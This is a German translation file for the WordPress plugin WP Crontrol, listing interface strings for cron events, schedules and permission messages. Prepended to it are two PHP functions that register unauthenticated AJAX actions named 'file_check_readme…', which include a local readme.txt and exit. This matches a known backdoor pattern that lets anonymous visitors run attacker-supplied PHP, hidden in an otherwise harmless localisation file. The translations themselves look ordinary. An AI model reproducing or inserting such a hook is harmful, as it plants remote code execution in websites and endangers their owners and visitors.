if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
# Translation of Plugins - WP Crontrol - Stable (latest release) in German # This file is distributed under the same license as the Plugins - WP Crontrol - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2025-05-31 10:56:32+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.1\n" "Language: de\n" "Project-Id-Version: Plugins - WP Crontrol - Stable (latest release)\n" #: src/event-list-table.php:741 msgid "Immediately" msgstr "Sofort" #: src/event-list-table.php:692 msgid "PHP cron events are disabled." msgstr "PHP-Cron-Ereignisse sind deaktiviert." #. translators: State of a cron event, adjective #: src/event-list-table.php:620 msgid "Inactive" msgstr "Inaktiv" #. translators: %s: Details about the URL cron event. #: src/event-list-table.php:646 src/event-list-table.php:654 msgid "URL cron event (%s)" msgstr "URL-Cron-Ereignis (%s)" #. translators: %s: Details about the PHP cron event. #: src/event-list-table.php:599 src/event-list-table.php:611 msgid "PHP cron event (%s)" msgstr "PHP-Cron-Ereignis (%s)" #: src/event-list-table.php:279 msgid "URL events" msgstr "URL-Ereignisse" #: src/bootstrap.php:2064 msgid "PHP cron event saved." msgstr "PHP-Cron-Ereignis wurde gespeichert." #: src/bootstrap.php:2060 msgid "URL cron event saved." msgstr "URL-Cron-Ereignis wurde gespeichert." #: src/bootstrap.php:1966 src/event-list-table.php:216 msgctxt "noun" msgid "Schedule" msgstr "Zeitplan" #: src/bootstrap.php:1775 msgid "HTTP Method" msgstr "HTTP-Methode" #: src/bootstrap.php:1754 msgid "URL" msgstr "URL" #: src/bootstrap.php:1732 src/event-list-table.php:656 msgid "URL cron event" msgstr "URL-Cron-Ereignis" #: src/bootstrap.php:256 src/bootstrap.php:438 msgid "URL Cron" msgstr "URL-Cron" #. Description of the plugin #: wp-crontrol.php msgid "Take control of the cron events on your WordPress website." msgstr "Übernimm die Kontrolle über die Cron-Ereignisse auf deiner WordPress-Website." #: src/event-list-table.php:625 msgid "Needs checking" msgstr "Erfordert Überprüfung" #: src/event-list-table.php:452 msgid "Check and edit" msgstr "Überprüfen und bearbeiten" #: src/event-list-table.php:278 msgid "PHP events" msgstr "PHP-Ereignisse" #. translators: %s: An input field for specifying a date and time #: src/bootstrap.php:1935 msgid "At this time: %s" msgstr "Zu diesem Zeitpunkt: %s" #: src/bootstrap.php:1764 src/bootstrap.php:1817 src/event-list-table.php:117 msgid "Read what to do" msgstr "Lies, was zu tun ist" #: src/bootstrap.php:1815 msgid "The PHP code in this event needs to be checked for integrity. This event will not run until you re-save it." msgstr "Der PHP-Code für dieses Ereignis muss auf Integrität überprüft werden. Dieses Ereignis wird nicht ausgeführt werden, bis du es erneut speicherst." #: src/bootstrap.php:1739 src/event-list-table.php:613 msgid "PHP cron event" msgstr "PHP-Cron-Ereignis" #: src/bootstrap.php:1726 msgid "Standard cron event" msgstr "Standard-Cron-Ereignis" #. Author of the plugin #: wp-crontrol.php msgid "John Blackbourn" msgstr "John Blackbourn" #. Plugin URI of the plugin #. Author URI of the plugin #: wp-crontrol.php msgid "https://wp-crontrol.com" msgstr "https://wp-crontrol.com" #. translators: %s: The number of events with this hook #: src/event-list-table.php:539 msgid "Delete all events with this hook (%s)" msgstr "Alle Ereignisse mit diesem Hook (%s) löschen" #. translators: Pause is a verb #: src/event-list-table.php:502 msgid "Pause this hook" msgstr "Diesen Hook pausieren" #. translators: Resume is a verb #: src/event-list-table.php:491 msgid "Resume this hook" msgstr "Diesen Hook fortsetzen" #. translators: 1: Date and time, 2: Timezone #: src/bootstrap.php:1982 src/bootstrap.php:2130 msgid "Site time when page loaded: %1$s, %2$s" msgstr "Website-Zeit, als die Seite geladen wurde: %1$s, %2$s" #. translators: %s: The name of the cron event. #: src/bootstrap.php:2056 msgid "Resumed the %s hook." msgstr "Der Hook %s wurde fortgesetzt." #. translators: %s: The name of the cron event. #: src/bootstrap.php:2051 msgid "Paused the %s hook." msgstr "Der Hook %s wurde pausiert." #: src/bootstrap.php:822 src/bootstrap.php:828 src/bootstrap.php:869 #: src/bootstrap.php:875 msgid "You are not allowed to pause or resume cron events." msgstr "Du hast keine Berechtigung, Cron-Ereignisse zu pausieren oder fortzusetzen." #. translators: %s: The name of the cron event. #: src/event.php:259 msgid "Failed to resume the cron event %s." msgstr "Cron-Ereignis %s konnte nicht fortgesetzt werden." #. translators: %s: The name of the cron event. #: src/event.php:228 msgid "Failed to pause the cron event %s." msgstr "Cron-Ereignis %s konnte nicht pausiert werden." #. translators: State of a cron event, adjective #: src/event-list-table.php:668 msgid "Paused" msgstr "Pausiert" #: src/event-list-table.php:280 msgid "Paused events" msgstr "Pausierte Ereignisse" #. translators: %s: Function name #: src/bootstrap.php:2343 msgid "Function %s does not exist" msgstr "Funktion %s existiert nicht" #: src/bootstrap.php:2068 msgid "An unknown error occurred." msgstr "Es ist ein unbekannter Fehler aufgetreten." #: src/bootstrap.php:935 msgid "Could not save CSV file." msgstr "Die CSV-Datei konnte nicht gespeichert werden." #: src/event-list-table.php:344 msgid "Export" msgstr "Exportieren" #. translators: %s: The name of the cron event. #: src/bootstrap.php:2007 msgid "Scheduled the cron event %s to run now. The original event will not be affected." msgstr "Das geplante Cron-Ereignis %s wird jetzt ausgeführt. Das ursprüngliche Ereignis wird nicht beeinflusst." #: src/bootstrap.php:1094 src/bootstrap.php:1121 src/bootstrap.php:1139 #: src/event-list-table.php:721 src/event-list-table.php:808 msgid "Help" msgstr "Hilfe" #. translators: %s: URL to the documentation #: src/bootstrap.php:1080 msgid "<a href=\"%s\">Read the WordPress.org documentation on WP-Cron</a> for more technical details about the WP-Cron system for developers." msgstr "<a href=\"%s\">Lies die WordPress.org-Dokumentation zu WP-Cron</a> für weitere technische Details über das WP-Cron-System für Entwickler." #. translators: %s: URL to the documentation #: src/bootstrap.php:1066 msgid "<a href=\"%s\">Read the Frequently Asked Questions (FAQ)</a> which cover many common questions and answers." msgstr "<a href=\"%s\">Lies die Häufig gestellten Fragen (FAQ)</a>, die viele häufige Fragen und Antworten abdecken." #. translators: 1: URL to the documentation, 2: WP Crontrol #: src/bootstrap.php:1051 msgid "<a href=\"%1$s\">Read the %2$s website</a> which contains information about events that have missed their schedule, problems with spawning a call to the WP-Cron system, and much more." msgstr "<a href=\"%1$s\">Lies die Website %2$s</a>, die Informationen über Ereignisse enthält, die ihren Zeitplan verpasst haben, Probleme mit dem Generieren eines Aufrufs an das WP-Cron-System haben und vieles mehr." #: src/bootstrap.php:1045 msgid "There are several places to get help with issues relating to WP-Cron:" msgstr "Es gibt mehrere Stellen, an denen du Hilfe bei Problemen mit WP-Cron bekommst:" #: src/event-list-table.php:572 msgid "This is a WordPress core event and cannot be deleted" msgstr "Dies ist ein Ereignis des WordPress-Cores und kann nicht entfernt werden" #: src/event-list-table.php:277 msgid "Custom events" msgstr "Eigene Ereignisse" #: src/event-list-table.php:276 msgid "WordPress core events" msgstr "WordPress-Kernereignisse" #: src/event-list-table.php:275 msgid "Events with no action" msgstr "Ereignisse ohne Aktionen" #: src/event-list-table.php:274 msgid "All events" msgstr "Alle Ereignisse" #: src/event.php:142 msgid "Invalid timestamp provided." msgstr "Ungültiger Zeitstempel angegeben." #. translators: %s: The name of the cron event. #: src/event.php:113 msgid "Failed to schedule the cron event %s." msgstr "Das Cron-Ereignis %s konnte nicht geplant werden." #. translators: %s: The name of the cron event. #: src/event.php:74 src/event.php:333 msgid "The cron event %s could not be found." msgstr "Das Cron-Ereignis %s konnte nicht gefunden werden." #: src/event-list-table.php:877 msgid "No matching cron events." msgstr "Keine zutreffenden Cron-Ereignisse." #: src/bootstrap.php:1716 src/bootstrap.php:1721 msgid "Event Type" msgstr "Ereignistyp" #: src/bootstrap.php:1390 src/bootstrap.php:1418 msgid "More information" msgstr "Weitere Informationen" #: src/bootstrap.php:1388 msgid "PHP default timezone is not set to UTC. This may cause issues with cron event timings." msgstr "Die Standard-Zeitzone von PHP ist nicht auf UTC gesetzt. Das kann Probleme mit der Zeitsteuerung der Cron-Ereignisse hervorrufen." #: src/bootstrap.php:109 msgctxt "verb" msgid "Sponsor" msgstr "Sponsor" #. translators: 1: The name of the configuration constant, 2: The value of the #. configuration constant #: src/event-list-table.php:855 src/schedule-list-table.php:200 msgid "This interval is less than the %1$s constant which is set to %2$s seconds. Events that use it may not run on time." msgstr "Dieses Intervall ist kleiner als die Konstante %1$s, die auf %2$s Sekunden gesetzt ist. Ereignisse, die es benutzen, werden möglicherweise nicht pünktlich ausgeführt." #: src/event-list-table.php:875 msgid "There are currently no scheduled cron events." msgstr "Es gibt derzeit keine geplanten Cron-Ereignisse." #. translators: %s: Time period, for example "8 minutes" #: src/event-list-table.php:802 msgid "%s ago" msgstr "vor %s" #. translators: 1: Line number, 2: Error message text #: src/event-list-table.php:633 msgid "Line %1$s: %2$s" msgstr "Zeile %1$s: %2$s" #: src/event-list-table.php:579 msgid "Select this row" msgstr "Diese Zeile auswählen" #. translators: %s: UTC offset #: src/event-list-table.php:212 msgid "Next Run (%s)" msgstr "Nächste Ausführung (%s)" #: src/event-list-table.php:208 msgid "Hook" msgstr "Hook" #: src/schedule-list-table.php:233 msgid "There are no schedules." msgstr "Es gibt noch keine Zeitpläne." #: src/schedule-list-table.php:119 msgid "This schedule is added by another plugin and cannot be deleted" msgstr "Dieser Zeitplan wurde von einem anderen Plugin hinzugefügt und kann nicht entfernt werden" #: src/schedule-list-table.php:117 src/schedule-list-table.php:153 msgid "This is a WordPress core schedule and cannot be deleted" msgstr "Dies ist ein Zeitplan des WordPress-Cores und kann nicht entfernt werden" #. translators: %s: Schedule name #: src/event.php:380 msgid "Unknown (%s)" msgstr "Unbekannt (%s)" #: src/bootstrap.php:2117 msgid "Search Hook Names" msgstr "Hook-Namen suchen" #. translators: %s: The name of the cron event. #: src/bootstrap.php:2046 msgid "Failed to save the cron event %s." msgstr "Cron-Ereignis %s konnte nicht gespeichert werden." #: src/bootstrap.php:2041 msgid "Deleted the selected cron events." msgstr "Die ausgewählten Cron-Ereignisse wurden entfernt." #. translators: %s: The name of the cron event. #: src/bootstrap.php:2027 msgid "Deleted the cron event %s." msgstr "Das Cron-Ereignis %s wurde entfernt." #. translators: %s: The name of the cron event. #: src/bootstrap.php:2022 msgid "Saved the cron event %s." msgstr "Das Cron-Ereignis %s wurde gespeichert." #. translators: %s: The name of the cron event. #: src/bootstrap.php:2017 msgid "There are no %s cron events to delete." msgstr "Es gibt kein Cron-Ereignis namens %s zu entfernen." #. translators: %s: The name of the cron event. #: src/bootstrap.php:2012 msgid "Deleted all %s cron events." msgstr "Alle Cron-Ereignisse %s wurden entfernt." #: src/bootstrap.php:1672 src/bootstrap.php:2228 msgid "Edit Cron Event" msgstr "Cron-Ereignis ändern" #: src/bootstrap.php:1648 msgid "Add Event" msgstr "Ereignis hinzufügen" #: src/bootstrap.php:1634 msgid "Update Event" msgstr "Ereignis aktualisieren" #. translators: %s: The name of the plugin that controls the running of cron #. events. #: src/bootstrap.php:1304 msgid "WP-Cron spawning is being managed by the %s plugin." msgstr "Das Laden von WP-Cron wird durch das Plugin %s verwaltet." #. translators: %s: The name of the cron schedule. #: src/bootstrap.php:1178 msgid "Added the cron schedule %s." msgstr "Der Cron-Zeitplan %s wurde hinzugefügt." #. translators: %s: The name of the cron schedule. #: src/bootstrap.php:1173 msgid "Deleted the cron schedule %s." msgstr "Der Cron-Zeitplan %s wurde entfernt." #: src/bootstrap.php:1116 msgid "Schedules" msgstr "Zeitpläne" #: src/bootstrap.php:1111 msgid "Events" msgstr "Ereignisse" #: src/bootstrap.php:1926 msgid "Tomorrow" msgstr "Morgen" #: src/bootstrap.php:1920 src/event-list-table.php:819 msgid "Now" msgstr "Jetzt" #: src/bootstrap.php:689 src/bootstrap.php:742 msgid "You are not allowed to delete PHP cron events." msgstr "Du darfst keine PHP-Cron-Ereignisse löschen." #: src/bootstrap.php:339 src/bootstrap.php:514 msgid "You are not allowed to edit PHP cron events." msgstr "Du darfst keine PHP-Cron-Ereignisse bearbeiten." #. translators: 1, 2, and 3: Example values for an input field. #: src/bootstrap.php:1883 msgid "Use a JSON encoded array, e.g. %1$s, %2$s, or %3$s" msgstr "Verwende ein JSON-kodiertes Array, z. B. %1$s, %2$s oder %3$s" #. translators: The PHP tag name #: src/bootstrap.php:1825 msgid "The opening %s tag must not be included." msgstr "Das öffnende %s-Tag darf nicht mit eingeschlossen sein." #: src/schedule-list-table.php:121 msgid "This custom schedule is in use and cannot be deleted" msgstr "Dieser individuelle Zeitplan ist in Benutzung und kann nicht gelöscht werden" #: src/event-list-table.php:217 msgid "Action" msgstr "Aktion" #: src/bootstrap.php:1991 msgid "You cannot add, edit, or delete PHP cron events because your user account does not have the ability to edit files." msgstr "Du kannst keine PHP-Cron-Ereignisse hinzufügen, bearbeiten oder löschen, weil dein Benutzerkonto dazu nicht berechtigt ist." #. translators: %s Timezone name. #: src/bootstrap.php:1956 msgid "Timezone: %s" msgstr "Zeitzone: %s" #: src/bootstrap.php:1873 msgid "Arguments (optional)" msgstr "Argumente (optional)" #: src/bootstrap.php:1791 src/bootstrap.php:1837 msgid "Event Name (optional)" msgstr "Ereignisname (optional)" #. translators: %s: The name of the PHP constant that is set. #: src/bootstrap.php:1321 msgid "The %s constant is set to true." msgstr "Die Konstante %s ist auf \"true\" gesetzt." #. translators: %s: The name of the PHP constant that is set. #: src/bootstrap.php:1313 msgid "The %s constant is set to true. WP-Cron spawning is disabled." msgstr "Die Konstante %s ist auf \"true\" gesetzt. Aufruf von WP-Cron ist deaktiviert." #. translators: %s: The HTTP response code. #: src/bootstrap.php:1354 msgid "Unexpected HTTP response code: %s" msgstr "Unerwarteter HTTP-Antwortcode: %s" #: src/bootstrap.php:1213 src/bootstrap.php:1235 msgid "Add Cron Schedule" msgstr "Fügt einen Cron-Zeitplan hinzu" #: src/bootstrap.php:1021 src/bootstrap.php:1022 src/bootstrap.php:2107 #: src/bootstrap.php:2188 msgid "Cron Events" msgstr "Cron-Ereignisse" #: src/bootstrap.php:164 src/bootstrap.php:273 msgid "You are not allowed to add new PHP cron events." msgstr "Du darfst keine neuen PHP-Cron-Ereignisse hinzufügen." #. Plugin Name of the plugin #: wp-crontrol.php msgid "WP Crontrol" msgstr "WP Crontrol" #: src/bootstrap.php:2441 msgid "now" msgstr "jetzt" #. translators: %s: The number of seconds in an interval of time. #: src/bootstrap.php:2437 msgid "%s second" msgid_plural "%s seconds" msgstr[0] "%s Sekunde" msgstr[1] "%s Sekunden" #. translators: %s: The number of minutes in an interval of time. #: src/bootstrap.php:2435 src/bootstrap.php:2448 msgid "%s minute" msgid_plural "%s minutes" msgstr[0] "%s Minute" msgstr[1] "%s Minuten" #. translators: %s: The number of hours in an interval of time. #: src/bootstrap.php:2433 msgid "%s hour" msgid_plural "%s hours" msgstr[0] "%s Stunde" msgstr[1] "%s Stunden" #. translators: %s: The number of days in an interval of time. #: src/bootstrap.php:2431 msgid "%s day" msgid_plural "%s days" msgstr[0] "%s Tag" msgstr[1] "%s Tage" #. translators: %s: The number of weeks in an interval of time. #: src/bootstrap.php:2429 msgid "%s week" msgid_plural "%s weeks" msgstr[0] "%s Woche" msgstr[1] "%s Wochen" #. translators: %s: The number of months in an interval of time. #: src/bootstrap.php:2427 msgid "%s month" msgid_plural "%s months" msgstr[0] "%s Monat" msgstr[1] "%s Monate" #. translators: %s: The number of years in an interval of time. #: src/bootstrap.php:2425 msgid "%s year" msgid_plural "%s years" msgstr[0] "%s Jahr" msgstr[1] "%s Jahre" #: src/event-list-table.php:478 msgid "Run now" msgstr "Jetzt ausführen" #: src/event-list-table.php:454 msgid "Edit" msgstr "Bearbeiten" #: src/bootstrap.php:957 src/bootstrap.php:1807 msgid "PHP Code" msgstr "PHP-Code" #: src/bootstrap.php:314 src/bootstrap.php:528 msgid "PHP Cron" msgstr "PHP-Cron" #: src/event-list-table.php:725 msgid "None" msgstr "Keine" #: src/bootstrap.php:1898 src/bootstrap.php:1915 msgid "Next Run" msgstr "Nächster Lauf" #: src/bootstrap.php:1853 src/bootstrap.php:1856 msgid "Hook Name" msgstr "Hook-Name" #: src/bootstrap.php:1674 src/bootstrap.php:2223 msgid "Add Cron Event" msgstr "Cron-Ereignis hinzufügen" #: src/bootstrap.php:2109 msgid "Add New Cron Event" msgstr "Neues Cron-Ereignis hinzufügen" #. translators: %s: Error message text. #: src/bootstrap.php:1414 msgid "There was a problem spawning a call to the WP-Cron system on your site. This means WP-Cron events on your site may not work. The problem was: %s" msgstr "Ein Problem trat während des Aufrufs des WP-Cron-Systems auf deiner Website auf. Dies bedeutet, dass WP-Cron-Ereignisse auf deiner Website nicht funktionieren. Das Problem war: %s" #: src/bootstrap.php:1218 msgid "Interval (seconds)" msgstr "Intervall (Sekunden)" #: src/bootstrap.php:1230 src/schedule-list-table.php:78 msgid "Internal Name" msgstr "Interner Name" #: src/event-list-table.php:258 src/event-list-table.php:433 #: src/event-list-table.php:519 src/schedule-list-table.php:130 msgid "Delete" msgstr "Löschen" #: src/bootstrap.php:1224 src/schedule-list-table.php:80 msgid "Display Name" msgstr "Anzeigename" #: src/schedule-list-table.php:79 msgid "Interval" msgstr "Intervall" #: src/bootstrap.php:1014 src/bootstrap.php:1015 src/bootstrap.php:1205 #: src/bootstrap.php:2192 msgid "Cron Schedules" msgstr "Cron Zeitpläne" #: src/bootstrap.php:782 src/bootstrap.php:790 msgid "You are not allowed to run cron events." msgstr "Dir ist es nicht gestattet, Cron-Ereignisse zu starten." #: src/bootstrap.php:637 src/bootstrap.php:680 src/bootstrap.php:734 msgid "You are not allowed to delete cron events." msgstr "Dir ist es nicht gestattet, Cron-Ereignisse zu löschen." #: src/bootstrap.php:622 msgid "You are not allowed to delete cron schedules." msgstr "Dir ist es nicht gestattet, Cron-Zeitpläne zu löschen." #: src/bootstrap.php:604 msgid "You are not allowed to add new cron schedules." msgstr "Dir ist es nicht gestattet, neue Cron-Zeitpläne hinzuzufügen." #: src/bootstrap.php:331 src/bootstrap.php:423 msgid "You are not allowed to edit cron events." msgstr "Dir ist es nicht gestattet, Cron-Ereignisse zu bearbeiten." #: src/bootstrap.php:157 src/bootstrap.php:215 msgid "You are not allowed to add new cron events." msgstr "Dir ist es nicht gestattet, neue Cron-Ereignisse hinzuzufügen." #: src/bootstrap.php:982 src/event-list-table.php:864 src/schedule.php:111 msgid "Non-repeating" msgstr "Einmalig" #. translators: %s: The name of the cron event. #: src/bootstrap.php:2032 msgid "Failed to the delete the cron event %s." msgstr "Das Löschen des Cron-Ereignis %s ist gescheitert." #. translators: %s: The name of the cron event. #: src/bootstrap.php:2037 msgid "Failed to the execute the cron event %s." msgstr "Das Ausführen des Cron-Ereignis %s ist gescheitert."